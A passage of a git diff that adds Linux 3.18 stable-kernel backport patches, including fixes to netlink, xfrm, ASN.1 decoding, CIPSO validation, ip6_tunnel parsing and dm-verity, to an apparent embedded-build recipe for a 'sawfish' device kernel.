this transaction, go ahead and exit */ ++ if (block_group->cache_generation == trans->transid && ++ i_size_read(inode)) { ++ dcs = BTRFS_DC_SETUP; ++ goto out_put; ++ } ++ + if (i_size_read(inode) > 0) { + ret = btrfs_check_trunc_cache_free_space(root, + &root->fs_info->global_block_rsv); +diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c +index 43d63a4d9a92..90526b2148f0 100644 +--- a/fs/nfs/dir.c ++++ b/fs/nfs/dir.c +@@ -1266,7 +1266,7 @@ static int nfs_weak_revalidate(struct dentry *dentry, unsigned int flags) + return 0; + } + +- error = nfs_revalidate_inode(NFS_SERVER(inode), inode); ++ error = nfs_lookup_verify_inode(inode, flags); + dfprintk(LOOKUPCACHE, "NFS: %s: inode %lu is %s\n", + __func__, inode->i_ino, error ? "invalid" : "valid"); + return !error; +@@ -1426,6 +1426,7 @@ static int nfs4_lookup_revalidate(struct dentry *, unsigned int); + + const struct dentry_operations nfs4_dentry_operations = { + .d_revalidate = nfs4_lookup_revalidate, ++ .d_weak_revalidate = nfs_weak_revalidate, + .d_delete = nfs_dentry_delete, + .d_iput = nfs_dentry_iput, + .d_automount = nfs_d_automount, +diff --git a/include/linux/netlink.h b/include/linux/netlink.h +index 9e572daa15d5..de422dd8e3a6 100644 +--- a/include/linux/netlink.h ++++ b/include/linux/netlink.h +@@ -120,6 +120,7 @@ netlink_skb_clone(struct sk_buff *skb, gfp_t gfp_mask) + struct netlink_callback { + struct sk_buff *skb; + const struct nlmsghdr *nlh; ++ int (*start)(struct netlink_callback *); + int (*dump)(struct sk_buff * skb, + struct netlink_callback *cb); + int (*done)(struct netlink_callback *cb); +@@ -142,6 +143,7 @@ struct nlmsghdr * + __nlmsg_put(struct sk_buff *skb, u32 portid, u32 seq, int type, int len, int flags); + + struct netlink_dump_control { ++ int (*start)(struct netlink_callback *); + int (*dump)(struct sk_buff *skb, struct netlink_callback *); + int (*done)(struct netlink_callback *); + void *data; +diff --git a/include/net/genetlink.h b/include/net/genetlink.h +index af10c2cf8a1d..048a24bc7719 100644 +--- a/include/net/genetlink.h ++++ b/include/net/genetlink.h +@@ -106,6 +106,7 @@ static inline void genl_info_net_set(struct genl_info *info, struct net *net) + * @flags: flags + * @policy: attribute validation policy + * @doit: standard command callback ++ * @start: start callback for dumps + * @dumpit: callback for dumpers + * @done: completion callback for dumps + * @ops_list: operations list +@@ -114,6 +115,7 @@ struct genl_ops { + const struct nla_policy *policy; + int (*doit)(struct sk_buff *skb, + struct genl_info *info); ++ int (*start)(struct netlink_callback *cb); + int (*dumpit)(struct sk_buff *skb, + struct netlink_callback *cb); + int (*done)(struct netlink_callback *cb); +diff --git a/mm/huge_memory.c b/mm/huge_memory.c +index 023a62bf837f..690d172436c4 100644 +--- a/mm/huge_memory.c ++++ b/mm/huge_memory.c +@@ -1240,17 +1240,11 @@ struct page *follow_trans_huge_pmd(struct vm_area_struct *vma, + VM_BUG_ON_PAGE(!PageHead(page), page); + if (flags & FOLL_TOUCH) { + pmd_t _pmd; +- /* +- * We should set the dirty bit only for FOLL_WRITE but +- * for now the dirty bit in the pmd is meaningless. +- * And if the dirty bit will become meaningful and +- * we'll only set it with FOLL_WRITE, an atomic +- * set_bit will be required on the pmd to set the +- * young bit, instead of the current set_pmd_at. +- */ +- _pmd = pmd_mkyoung(pmd_mkdirty(*pmd)); ++ _pmd = pmd_mkyoung(*pmd); ++ if (flags & FOLL_WRITE) ++ _pmd = pmd_mkdirty(_pmd); + if (pmdp_set_access_flags(vma, addr & HPAGE_PMD_MASK, +- pmd, _pmd, 1)) ++ pmd, _pmd, flags & FOLL_WRITE)) + update_mmu_cache_pmd(vma, addr, pmd); + } + if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) { +diff --git a/mm/madvise.c b/mm/madvise.c +index 0938b30da4ab..3440d5da408e 100644 +--- a/mm/madvise.c ++++ b/mm/madvise.c +@@ -221,9 +221,9 @@ static long madvise_willneed(struct vm_area_struct *vma, + { + struct file *file = vma->vm_file; + ++ *prev = vma; + #ifdef CONFIG_SWAP + if (!file || mapping_cap_swap_backed(file->f_mapping)) { +- *prev = vma; + if (!file) + force_swapin_readahead(vma, start, end); + else +@@ -241,7 +241,6 @@ static long madvise_willneed(struct vm_area_struct *vma, + return 0; + } + +- *prev = vma; + start = ((start - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; + if (end > vma->vm_end) + end = vma->vm_end; +diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c +index d22e8d210fce..1dfd8d17a574 100644 +--- a/net/netlink/af_netlink.c ++++ b/net/netlink/af_netlink.c +@@ -2043,6 +2043,7 @@ int __netlink_dump_start(struct sock *ssk, struct sk_buff *skb, + + cb = &nlk->cb; + memset(cb, 0, sizeof(*cb)); ++ cb->start = control->start; + cb->dump = control->dump; + cb->done = control->done; + cb->nlh = nlh; +@@ -2056,6 +2057,9 @@ int __netlink_dump_start(struct sock *ssk, struct sk_buff *skb, + + mutex_unlock(nlk->cb_mutex); + ++ if (cb->start) ++ cb->start(cb); ++ + ret = netlink_dump(sk); + sock_put(sk); + +diff --git a/net/netlink/genetlink.c b/net/netlink/genetlink.c +index 76393f2f4b22..2983147f8ef2 100644 +--- a/net/netlink/genetlink.c ++++ b/net/netlink/genetlink.c +@@ -507,6 +507,20 @@ void *genlmsg_put(struct sk_buff *skb, u32 portid, u32 seq, + } + EXPORT_SYMBOL(genlmsg_put); + ++static int genl_lock_start(struct netlink_callback *cb) ++{ ++ /* our ops are always const - netlink API doesn't propagate that */ ++ const struct genl_ops *ops = cb->data; ++ int rc = 0; ++ ++ if (ops->start) { ++ genl_lock(); ++ rc = ops->start(cb); ++ genl_unlock(); ++ } ++ return rc; ++} ++ + static int genl_lock_dumpit(struct sk_buff *skb, struct netlink_callback *cb) + { + /* our ops are always const - netlink API doesn't propagate that */ +@@ -571,6 +585,7 @@ static int genl_family_rcv_msg(struct genl_family *family, + .module = family->module, + /* we have const, but the netlink API doesn't */ + .data = (void *)ops, ++ .start = genl_lock_start, + .dump = genl_lock_dumpit, + .done = genl_lock_done, + }; +@@ -582,6 +597,7 @@ static int genl_family_rcv_msg(struct genl_family *family, + } else { + struct netlink_dump_control c = { + .module = family->module, ++ .start = ops->start, + .dump = ops->dumpit, + .done = ops->done, + }; +diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c +index b8170ae1461e..72d65b9978ca 100644 +--- a/net/xfrm/xfrm_user.c ++++ b/net/xfrm/xfrm_user.c +@@ -1625,32 +1625,34 @@ static int dump_one_policy(struct xfrm_policy *xp, int dir, int count, void *ptr + + static int xfrm_dump_policy_done(struct netlink_callback *cb) + { +- struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; ++ struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; + struct net *net = sock_net(cb->skb->sk); + + xfrm_policy_walk_done(walk, net); + return 0; + } + ++static int xfrm_dump_policy_start(struct netlink_callback *cb) ++{ ++ struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; ++ ++ BUILD_BUG_ON(sizeof(*walk) > sizeof(cb->args)); ++ ++ xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY); ++ return 0; ++} ++ + static int xfrm_dump_policy(struct sk_buff *skb, struct netlink_callback *cb) + { + struct net *net = sock_net(skb->sk); +- struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; ++ struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; + struct xfrm_dump_info info; + +- BUILD_BUG_ON(sizeof(struct xfrm_policy_walk) > +- sizeof(cb->args) - sizeof(cb->args[0])); +- + info.in_skb = cb->skb; + info.out_skb = skb; + info.nlmsg_seq = cb->nlh->nlmsg_seq; + info.nlmsg_flags = NLM_F_MULTI; + +- if (!cb->args[0]) { +- cb->args[0] = 1; +- xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY); +- } +- + (void) xfrm_policy_walk(net, walk, dump_one_policy, &info); + + return skb->len; +@@ -2384,6 +2386,7 @@ static const struct nla_policy xfrma_spd_policy[XFRMA_SPD_MAX+1] = { + + static const struct xfrm_link { + int (*doit)(struct sk_buff *, struct nlmsghdr *, struct nlattr **); ++ int (*start)(struct netlink_callback *); + int (*dump)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + const struct nla_policy *nla_pol; +@@ -2397,6 +2400,7 @@ static const struct xfrm_link { + [XFRM_MSG_NEWPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy }, + [XFRM_MSG_DELPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy }, + [XFRM_MSG_GETPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy, ++ .start = xfrm_dump_policy_start, + .dump = xfrm_dump_policy, + .done = xfrm_dump_policy_done }, + [XFRM_MSG_ALLOCSPI - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi }, +@@ -2443,6 +2447,7 @@ static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) + + { + struct netlink_dump_control c = { ++ .start = link->start, + .dump = link->dump, + .done = link->done, + }; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0003.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0003.diff new file mode 100644 index 0000000..5bcfd3b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0003.diff @@ -0,0 +1,299 @@ +diff --git a/Makefile b/Makefile +index aa45be375d8f..7781ca4f1ca2 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 18 +-SUBLEVEL = 96 ++SUBLEVEL = 97 + EXTRAVERSION = + NAME = Diseased Newt + +diff --git a/arch/arm64/kernel/traps.c b/arch/arm64/kernel/traps.c +index 27a2637543ff..1a1436c481ef 100644 +--- a/arch/arm64/kernel/traps.c ++++ b/arch/arm64/kernel/traps.c +@@ -45,7 +45,7 @@ static const char *handler[]= { + "Error" + }; + +-int show_unhandled_signals = 1; ++int show_unhandled_signals = 0; + + /* + * Dump out the contents of some memory nicely... +diff --git a/arch/x86/oprofile/nmi_int.c b/arch/x86/oprofile/nmi_int.c +index 1d2e6392f5fa..f24bd7249536 100644 +--- a/arch/x86/oprofile/nmi_int.c ++++ b/arch/x86/oprofile/nmi_int.c +@@ -471,7 +471,7 @@ static int nmi_setup(void) + goto fail; + + for_each_possible_cpu(cpu) { +- if (!cpu) ++ if (!IS_ENABLED(CONFIG_SMP) || !cpu) + continue; + + memcpy(per_cpu(cpu_msrs, cpu).counters, +diff --git a/drivers/iio/imu/adis_trigger.c b/drivers/iio/imu/adis_trigger.c +index f53e9a803a0e..93b99bd93738 100644 +--- a/drivers/iio/imu/adis_trigger.c ++++ b/drivers/iio/imu/adis_trigger.c +@@ -47,6 +47,10 @@ int adis_probe_trigger(struct adis *adis, struct iio_dev *indio_dev) + if (adis->trig == NULL) + return -ENOMEM; + ++ adis->trig->dev.parent = &adis->spi->dev; ++ adis->trig->ops = &adis_trigger_ops; ++ iio_trigger_set_drvdata(adis->trig, adis); ++ + ret = request_irq(adis->spi->irq, + &iio_trigger_generic_data_rdy_poll, + IRQF_TRIGGER_RISING, +@@ -55,9 +59,6 @@ int adis_probe_trigger(struct adis *adis, struct iio_dev *indio_dev) + if (ret) + goto error_free_trig; + +- adis->trig->dev.parent = &adis->spi->dev; +- adis->trig->ops = &adis_trigger_ops; +- iio_trigger_set_drvdata(adis->trig, adis); + ret = iio_trigger_register(adis->trig); + + indio_dev->trig = iio_trigger_get(adis->trig); +diff --git a/drivers/iio/industrialio-buffer.c b/drivers/iio/industrialio-buffer.c +index 25c68de393ad..1f64457cc6ba 100644 +--- a/drivers/iio/industrialio-buffer.c ++++ b/drivers/iio/industrialio-buffer.c +@@ -92,7 +92,7 @@ unsigned int iio_buffer_poll(struct file *filp, + struct iio_dev *indio_dev = filp->private_data; + struct iio_buffer *rb = indio_dev->buffer; + +- if (!indio_dev->info) ++ if (!indio_dev->info || rb == NULL) + return 0; + + poll_wait(filp, &rb->pollq, wait); +diff --git a/drivers/irqchip/irq-gic-v3.c b/drivers/irqchip/irq-gic-v3.c +index ac897f051863..30b93dd1e612 100644 +--- a/drivers/irqchip/irq-gic-v3.c ++++ b/drivers/irqchip/irq-gic-v3.c +@@ -503,7 +503,7 @@ static void gic_raise_softirq(const struct cpumask *mask, unsigned int irq) + * Ensure that stores to Normal memory are visible to the + * other CPUs before issuing the IPI. + */ +- smp_wmb(); ++ wmb(); + + for_each_cpu_mask(cpu, *mask) { + u64 cluster_id = cpu_logical_map(cpu) & ~0xffUL; +diff --git a/drivers/pci/host/pci-keystone.c b/drivers/pci/host/pci-keystone.c +index 1b893bc8b842..1e934b7e0139 100644 +--- a/drivers/pci/host/pci-keystone.c ++++ b/drivers/pci/host/pci-keystone.c +@@ -179,14 +179,16 @@ static int ks_pcie_get_irq_controller_info(struct keystone_pcie *ks_pcie, + } + + /* interrupt controller is in a child node */ +- *np_temp = of_find_node_by_name(np_pcie, controller); ++ *np_temp = of_get_child_by_name(np_pcie, controller); + if (!(*np_temp)) { + dev_err(dev, "Node for %s is absent\n", controller); + goto out; + } + temp = of_irq_count(*np_temp); +- if (!temp) ++ if (!temp) { ++ of_node_put(*np_temp); + goto out; ++ } + if (temp > max_host_irqs) + dev_warn(dev, "Too many %s interrupts defined %u\n", + (legacy ? "legacy" : "MSI"), temp); +@@ -200,6 +202,9 @@ static int ks_pcie_get_irq_controller_info(struct keystone_pcie *ks_pcie, + if (host_irqs[temp] < 0) + break; + } ++ ++ of_node_put(*np_temp); ++ + if (temp) { + *num_irqs = temp; + ret = 0; +diff --git a/drivers/scsi/ibmvscsi/ibmvfc.h b/drivers/scsi/ibmvscsi/ibmvfc.h +index 8fae03215a85..543c10266984 100644 +--- a/drivers/scsi/ibmvscsi/ibmvfc.h ++++ b/drivers/scsi/ibmvscsi/ibmvfc.h +@@ -366,7 +366,7 @@ enum ibmvfc_fcp_rsp_info_codes { + }; + + struct ibmvfc_fcp_rsp_info { +- __be16 reserved; ++ u8 reserved[3]; + u8 rsp_code; + u8 reserved2[4]; + }__attribute__((packed, aligned (2))); +diff --git a/drivers/usb/dwc3/gadget.c b/drivers/usb/dwc3/gadget.c +index 6ce78e3ca7c6..a1ab83769191 100644 +--- a/drivers/usb/dwc3/gadget.c ++++ b/drivers/usb/dwc3/gadget.c +@@ -2345,6 +2345,8 @@ static void dwc3_gadget_conndone_interrupt(struct dwc3 *dwc) + break; + } + ++ dwc->eps[1]->endpoint.maxpacket = dwc->gadget.ep0->maxpacket; ++ + /* Enable USB2 LPM Capability */ + + if ((dwc->revision > DWC3_REVISION_194A) +diff --git a/drivers/usb/gadget/function/f_fs.c b/drivers/usb/gadget/function/f_fs.c +index 88aa287f10ea..62d2a8b41bc4 100644 +--- a/drivers/usb/gadget/function/f_fs.c ++++ b/drivers/usb/gadget/function/f_fs.c +@@ -2727,10 +2727,8 @@ static int _ffs_func_bind(struct usb_configuration *c, + struct ffs_data *ffs = func->ffs; + + const int full = !!func->ffs->fs_descs_count; +- const int high = gadget_is_dualspeed(func->gadget) && +- func->ffs->hs_descs_count; +- const int super = gadget_is_superspeed(func->gadget) && +- func->ffs->ss_descs_count; ++ const int high = !!func->ffs->hs_descs_count; ++ const int super = !!func->ffs->ss_descs_count; + + int fs_len, hs_len, ss_len, ret, i; + +diff --git a/lib/asn1_decoder.c b/lib/asn1_decoder.c +index 7f453b6ff0d0..c3a768ae1a40 100644 +--- a/lib/asn1_decoder.c ++++ b/lib/asn1_decoder.c +@@ -305,38 +305,43 @@ next_op: + + /* Decide how to handle the operation */ + switch (op) { +- case ASN1_OP_MATCH_ANY_ACT: +- case ASN1_OP_COND_MATCH_ANY_ACT: +- ret = actions[machine[pc + 1]](context, hdr, tag, data + dp, len); +- if (ret < 0) +- return ret; +- goto skip_data; +- +- case ASN1_OP_MATCH_ACT: +- case ASN1_OP_MATCH_ACT_OR_SKIP: +- case ASN1_OP_COND_MATCH_ACT_OR_SKIP: +- ret = actions[machine[pc + 2]](context, hdr, tag, data + dp, len); +- if (ret < 0) +- return ret; +- goto skip_data; +- + case ASN1_OP_MATCH: + case ASN1_OP_MATCH_OR_SKIP: ++ case ASN1_OP_MATCH_ACT: ++ case ASN1_OP_MATCH_ACT_OR_SKIP: + case ASN1_OP_MATCH_ANY: ++ case ASN1_OP_MATCH_ANY_ACT: + case ASN1_OP_COND_MATCH_OR_SKIP: ++ case ASN1_OP_COND_MATCH_ACT_OR_SKIP: + case ASN1_OP_COND_MATCH_ANY: +- skip_data: ++ case ASN1_OP_COND_MATCH_ANY_ACT: ++ + if (!(flags & FLAG_CONS)) { + if (flags & FLAG_INDEFINITE_LENGTH) { ++ size_t tmp = dp; ++ + ret = asn1_find_indefinite_length( +- data, datalen, &dp, &len, &errmsg); ++ data, datalen, &tmp, &len, &errmsg); + if (ret < 0) + goto error; +- } else { +- dp += len; + } + pr_debug("- LEAF: %zu\n", len); + } ++ ++ if (op & ASN1_OP_MATCH__ACT) { ++ unsigned char act; ++ ++ if (op & ASN1_OP_MATCH__ANY) ++ act = machine[pc + 1]; ++ else ++ act = machine[pc + 2]; ++ ret = actions[act](context, hdr, tag, data + dp, len); ++ if (ret < 0) ++ return ret; ++ } ++ ++ if (!(flags & FLAG_CONS)) ++ dp += len; + pc += asn1_op_lengths[op]; + goto next_op; + +diff --git a/net/ipv4/ip_sockglue.c b/net/ipv4/ip_sockglue.c +index 043cd43109ae..30b08bfc1dde 100644 +--- a/net/ipv4/ip_sockglue.c ++++ b/net/ipv4/ip_sockglue.c +@@ -1375,10 +1375,7 @@ int ip_getsockopt(struct sock *sk, int level, + if (get_user(len, optlen)) + return -EFAULT; + +- lock_sock(sk); +- err = nf_getsockopt(sk, PF_INET, optname, optval, +- &len); +- release_sock(sk); ++ err = nf_getsockopt(sk, PF_INET, optname, optval, &len); + if (err >= 0) + err = put_user(len, optlen); + return err; +@@ -1410,9 +1407,7 @@ int compat_ip_getsockopt(struct sock *sk, int level, int optname, + if (get_user(len, optlen)) + return -EFAULT; + +- lock_sock(sk); + err = compat_nf_getsockopt(sk, PF_INET, optname, optval, &len); +- release_sock(sk); + if (err >= 0) + err = put_user(len, optlen); + return err; +diff --git a/net/ipv6/ipv6_sockglue.c b/net/ipv6/ipv6_sockglue.c +index c31f8be7fe66..d0d7112bb7c9 100644 +--- a/net/ipv6/ipv6_sockglue.c ++++ b/net/ipv6/ipv6_sockglue.c +@@ -1314,10 +1314,7 @@ int ipv6_getsockopt(struct sock *sk, int level, int optname, + if (get_user(len, optlen)) + return -EFAULT; + +- lock_sock(sk); +- err = nf_getsockopt(sk, PF_INET6, optname, optval, +- &len); +- release_sock(sk); ++ err = nf_getsockopt(sk, PF_INET6, optname, optval, &len); + if (err >= 0) + err = put_user(len, optlen); + } +@@ -1356,10 +1353,7 @@ int compat_ipv6_getsockopt(struct sock *sk, int level, int optname, + if (get_user(len, optlen)) + return -EFAULT; + +- lock_sock(sk); +- err = compat_nf_getsockopt(sk, PF_INET6, +- optname, optval, &len); +- release_sock(sk); ++ err = compat_nf_getsockopt(sk, PF_INET6, optname, optval, &len); + if (err >= 0) + err = put_user(len, optlen); + } +diff --git a/net/mac80211/cfg.c b/net/mac80211/cfg.c +index 095e3958d83c..d061814d1ae1 100644 +--- a/net/mac80211/cfg.c ++++ b/net/mac80211/cfg.c +@@ -2769,7 +2769,7 @@ cfg80211_beacon_dup(struct cfg80211_beacon_data *beacon) + } + if (beacon->probe_resp_len) { + new_beacon->probe_resp_len = beacon->probe_resp_len; +- beacon->probe_resp = pos; ++ new_beacon->probe_resp = pos; + memcpy(pos, beacon->probe_resp, beacon->probe_resp_len); + pos += beacon->probe_resp_len; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0004.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0004.diff new file mode 100644 index 0000000..9c2f533 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0004.diff @@ -0,0 +1,24 @@ +diff --git a/Makefile b/Makefile +index 2df4a1163714..2eae8b1039aa 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 18 +-SUBLEVEL = 103 ++SUBLEVEL = 104 + EXTRAVERSION = + NAME = Diseased Newt + +diff --git a/drivers/net/ethernet/freescale/fec_main.c b/drivers/net/ethernet/freescale/fec_main.c +index f17b427d91bd..02262b8e57ee 100644 +--- a/drivers/net/ethernet/freescale/fec_main.c ++++ b/drivers/net/ethernet/freescale/fec_main.c +@@ -58,6 +58,7 @@ + #include + #include + #include ++#include + + #include + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0005-52a4bf740d52-PATCH dmverity run in a WQHIGHPRI workqueue.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0005-52a4bf740d52-PATCH dmverity run in a WQHIGHPRI workqueue.patch new file mode 100644 index 0000000..54b115d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0005-52a4bf740d52-PATCH dmverity run in a WQHIGHPRI workqueue.patch @@ -0,0 +1,30 @@ +From 52a4bf740d52cd48660dd6e6ef171801fd0f50aa Mon Sep 17 00:00:00 2001 +From: Tim Murray +Date: Tue, 19 Jan 2016 16:35:17 -0800 +Subject: [PATCH] dm-verity: run in a WQ_HIGHPRI workqueue + +Running dm-verity in a standard workqueue results in IO competing for +CPU time with standard user apps, which can lead to pipeline bubbles and +seriously degraded performance. Move to a WQ_HIGHPRI workqueue to +protect against that. + +bug 25392275 + +Change-Id: Ic65d7bd6f04e4d77780119e926a50e71323575f0 +--- + drivers/md/dm-verity.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/md/dm-verity.c b/drivers/md/dm-verity.c +index ac099847a4b..26e9f05b15d 100644 +--- a/drivers/md/dm-verity.c ++++ b/drivers/md/dm-verity.c +@@ -855,7 +855,7 @@ static int verity_ctr(struct dm_target *ti, unsigned argc, char **argv) + } + + /* WQ_UNBOUND greatly improves performance when running on ramdisk */ +- v->verify_wq = alloc_workqueue("kverityd", WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM | WQ_UNBOUND, num_online_cpus()); ++ v->verify_wq = alloc_workqueue("kverityd", WQ_HIGHPRI | WQ_MEM_RECLAIM | WQ_UNBOUND, num_online_cpus()); + if (!v->verify_wq) { + ti->error = "Cannot allocate workqueue"; + r = -ENOMEM; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0006.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0006.diff new file mode 100644 index 0000000..69248ba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0006.diff @@ -0,0 +1,33 @@ +diff --git a/net/core/dev.c b/net/core/dev.c +index be11abac89b3e6ce3013a6b905a268eaf4685609..6fe3d6f51e0a3fb421d6c63d6d20a3f46c408e93 100644 +--- a/net/core/dev.c ++++ b/net/core/dev.c +@@ -2658,11 +2658,12 @@ static inline bool skb_needs_check(struct sk_buff *skb, bool tx_path) + struct sk_buff *__skb_gso_segment(struct sk_buff *skb, + netdev_features_t features, bool tx_path) + { ++ struct sk_buff *segs; ++ + if (unlikely(skb_needs_check(skb, tx_path))) { + int err; + +- skb_warn_bad_offload(skb); +- ++ /* We're going to init ->check field in TCP or UDP header */ + err = skb_cow_head(skb, 0); + if (err < 0) + return ERR_PTR(err); +@@ -2690,7 +2691,12 @@ struct sk_buff *__skb_gso_segment(struct sk_buff *skb, + skb_reset_mac_header(skb); + skb_reset_mac_len(skb); + +- return skb_mac_gso_segment(skb, features); ++ segs = skb_mac_gso_segment(skb, features); ++ ++ if (unlikely(skb_needs_check(skb, tx_path))) ++ skb_warn_bad_offload(skb); ++ ++ return segs; + } + EXPORT_SYMBOL(__skb_gso_segment); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0007.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0007.diff new file mode 100644 index 0000000..9030625 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0007.diff @@ -0,0 +1,55 @@ +diff --git a/net/core/dev.c b/net/core/dev.c +index 7f218e095361520d11c243d650e053321ea7274f..29101c98399f40b6b8e42c31a255d8f1fb6bd7a1 100644 +--- a/net/core/dev.c ++++ b/net/core/dev.c +@@ -1695,24 +1695,19 @@ EXPORT_SYMBOL_GPL(net_dec_egress_queue); + + static struct static_key netstamp_needed __read_mostly; + #ifdef HAVE_JUMP_LABEL +-/* We are not allowed to call static_key_slow_dec() from irq context +- * If net_disable_timestamp() is called from irq context, defer the +- * static_key_slow_dec() calls. +- */ + static atomic_t netstamp_needed_deferred; +-#endif +- +-void net_enable_timestamp(void) ++static void netstamp_clear(struct work_struct *work) + { +-#ifdef HAVE_JUMP_LABEL + int deferred = atomic_xchg(&netstamp_needed_deferred, 0); + +- if (deferred) { +- while (--deferred) +- static_key_slow_dec(&netstamp_needed); +- return; +- } ++ while (deferred--) ++ static_key_slow_dec(&netstamp_needed); ++} ++static DECLARE_WORK(netstamp_work, netstamp_clear); + #endif ++ ++void net_enable_timestamp(void) ++{ + static_key_slow_inc(&netstamp_needed); + } + EXPORT_SYMBOL(net_enable_timestamp); +@@ -1720,12 +1715,12 @@ EXPORT_SYMBOL(net_enable_timestamp); + void net_disable_timestamp(void) + { + #ifdef HAVE_JUMP_LABEL +- if (in_interrupt()) { +- atomic_inc(&netstamp_needed_deferred); +- return; +- } +-#endif ++ /* net_disable_timestamp() can be called from non process context */ ++ atomic_inc(&netstamp_needed_deferred); ++ schedule_work(&netstamp_work); ++#else + static_key_slow_dec(&netstamp_needed); ++#endif + } + EXPORT_SYMBOL(net_disable_timestamp); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0008.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0008.diff new file mode 100644 index 0000000..5dff15b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0008.diff @@ -0,0 +1,30 @@ +diff --git a/include/net/cipso_ipv4.h b/include/net/cipso_ipv4.h +index 3ebb168b9afc68ad639b5d32f6182a845c83d759..a34b141f125f0032662f147b598c9fef4fb4bcef 100644 +--- a/include/net/cipso_ipv4.h ++++ b/include/net/cipso_ipv4.h +@@ -309,6 +309,10 @@ static inline int cipso_v4_validate(const struct sk_buff *skb, + } + + for (opt_iter = 6; opt_iter < opt_len;) { ++ if (opt_iter + 1 == opt_len) { ++ err_offset = opt_iter; ++ goto out; ++ } + tag_len = opt[opt_iter + 1]; + if ((tag_len == 0) || (tag_len > (opt_len - opt_iter))) { + err_offset = opt_iter + 1; +diff --git a/net/ipv4/cipso_ipv4.c b/net/ipv4/cipso_ipv4.c +index 72d6f056d863603c959e1d04b9f863909a37c758..ae206163c273381ba6e8bd8a24fa050619a4a6ae 100644 +--- a/net/ipv4/cipso_ipv4.c ++++ b/net/ipv4/cipso_ipv4.c +@@ -1587,6 +1587,10 @@ int cipso_v4_validate(const struct sk_buff *skb, unsigned char **option) + goto validate_return_locked; + } + ++ if (opt_iter + 1 == opt_len) { ++ err_offset = opt_iter; ++ goto validate_return_locked; ++ } + tag_len = tag[1]; + if (tag_len > (opt_len - opt_iter)) { + err_offset = opt_iter + 1; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0009.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0009.diff new file mode 100644 index 0000000..ebbc8df --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0009.diff @@ -0,0 +1,67 @@ +diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c +index 02923f956ac8ba5f3270e8d5282fd9637c2d..f9c43c9043f7e386108bca2f2aeb866cfb76 100644 +--- a/net/ipv6/ip6_tunnel.c ++++ b/net/ipv6/ip6_tunnel.c +@@ -400,18 +400,18 @@ ip6_tnl_dev_uninit(struct net_device *dev) + + __u16 ip6_tnl_parse_tlv_enc_lim(struct sk_buff *skb, __u8 *raw) + { +- const struct ipv6hdr *ipv6h = (const struct ipv6hdr *) raw; +- __u8 nexthdr = ipv6h->nexthdr; +- __u16 off = sizeof(*ipv6h); ++ const struct ipv6hdr *ipv6h = (const struct ipv6hdr *)raw; ++ unsigned int nhoff = (raw - skb->data) + sizeof(*ipv6h); ++ u8 next, nexthdr = ipv6h->nexthdr; + + while (ipv6_ext_hdr(nexthdr) && nexthdr != NEXTHDR_NONE) { +- __u16 optlen = 0; + struct ipv6_opt_hdr *hdr; +- if (raw + off + sizeof(*hdr) > skb->data && +- !pskb_may_pull(skb, raw - skb->data + off + sizeof (*hdr))) ++ u16 optlen; ++ ++ if (!pskb_may_pull(skb, nhoff + sizeof(*hdr))) + break; + +- hdr = (struct ipv6_opt_hdr *) (raw + off); ++ hdr = (struct ipv6_opt_hdr *)(skb->data + nhoff); + if (nexthdr == NEXTHDR_FRAGMENT) { + struct frag_hdr *frag_hdr = (struct frag_hdr *) hdr; + if (frag_hdr->frag_off) +@@ -422,13 +422,23 @@ __u16 ip6_tnl_parse_tlv_enc_lim(struct sk_buff *skb, __u8 *raw) + } else { + optlen = ipv6_optlen(hdr); + } ++ /* cache hdr->nexthdr, since pskb_may_pull() might ++ * invalidate hdr ++ */ ++ next = hdr->nexthdr; + if (nexthdr == NEXTHDR_DEST) { +- __u16 i = off + 2; ++ u16 i = 2; ++ ++ /* Remember : hdr is no longer valid at this point. */ ++ if (!pskb_may_pull(skb, nhoff + optlen)) ++ break; ++ ++ raw = skb->data + nhoff; + while (1) { + struct 